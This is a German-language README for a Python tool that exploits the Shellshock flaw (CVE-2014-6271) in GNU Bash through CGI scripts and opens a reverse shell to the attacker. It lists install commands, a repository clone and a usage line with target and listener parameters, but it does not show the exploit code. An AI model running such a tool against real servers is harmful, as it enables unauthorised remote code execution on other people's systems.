🚨 Shellshock RCE Exploit (CVE-2014-6271)

Dies ist ein Python-Exploit für die Shellshock-Sicherheitslücke (CVE-2014-6271), die GNU Bash betrifft. Der Exploit zielt auf CGI-Skripte auf verwundbaren Webservern ab und richtet eine Reverse Shell zum Rechner des Angreifers ein.

CVE ID

CVE-2014-6271

Haftungsausschluss

Dieses Tool ist ausschließlich für Bildungs- und ethische Zwecke bestimmt.

Funktionen

• Nutzt verwundbare CGI-Skripte mittels Shellshock aus
• Reverse-Shell-Handler
• Unterstützt:
  • HTTP & HTTPS
  • Benutzerdefinierte CGI-Pfade
  • Proxy-Unterstützung
• Interaktive Shell bei Erfolg

CVE-Informationen

• CVE: CVE-2014-6271
• Sicherheitslücke: Befehlsinjektion über Umgebungsvariablen in GNU Bash
• Auswirkung: Remote Code Execution (RCE) durch manipulierte Header an CGI-Anwendungen

Voraussetzungen

• Python 3.x
• pwntools
• requests

Installation

sudo python3 -m pip install pwntools
sudo python3 -m pip install requests
git clone https://github.com/knightc0de/Shellshock_vuln_Exploit.git
cd Shellshock_vuln_Exploit/
chmod +x CVE-2014-6271.py

Beispielverwendung

python3 CVE-2014-6271 --rhost <target_ip> --lhost <your_ip> --lport <your_port> --pages /cgi-bin/test.cg```